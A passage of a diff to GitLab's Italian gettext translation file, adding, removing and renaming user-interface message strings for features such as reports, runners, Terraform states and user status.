msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr "Ricordamelo più tardi"
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr "Salva pianificazione pipeline"
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "imposta una password"
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] "Visualizza %d evento"
msgstr[1] "Visualizza %d eventi"
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr "La relazione del fork è stata rimossa"
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr "Lo stadio di Issue mostra il tempo che impiega un issue ad esser correlato ad una Milestone, o ad esser aggiunto ad una tua Lavagna. Inizia la creazione di problemi per visualizzare i dati in questo stadio."
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr "Lo stadio di pre-rilascio mostra il tempo che trascorre da una MR (Richi
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr "Lo stadio di test mostra il tempo che ogni Pipeline impiega per essere eseguita in ogni Richiesta di Merge correlata. L'informazione sarà disponibile automaticamente quando la tua prima Pipeline avrà finito d'esser eseguita."
@@ -26773,7 +27387,7 @@ msgstr "Il tempo aggregato relativo eventi/data entry raccolto in quello stadio.
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr "Il valore falsato nel mezzo di una serie di dati osservati. ES: tra 3,5,
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] "hr"
@@ -27914,6 +28531,9 @@ msgstr "s"
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr "Carica file"
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
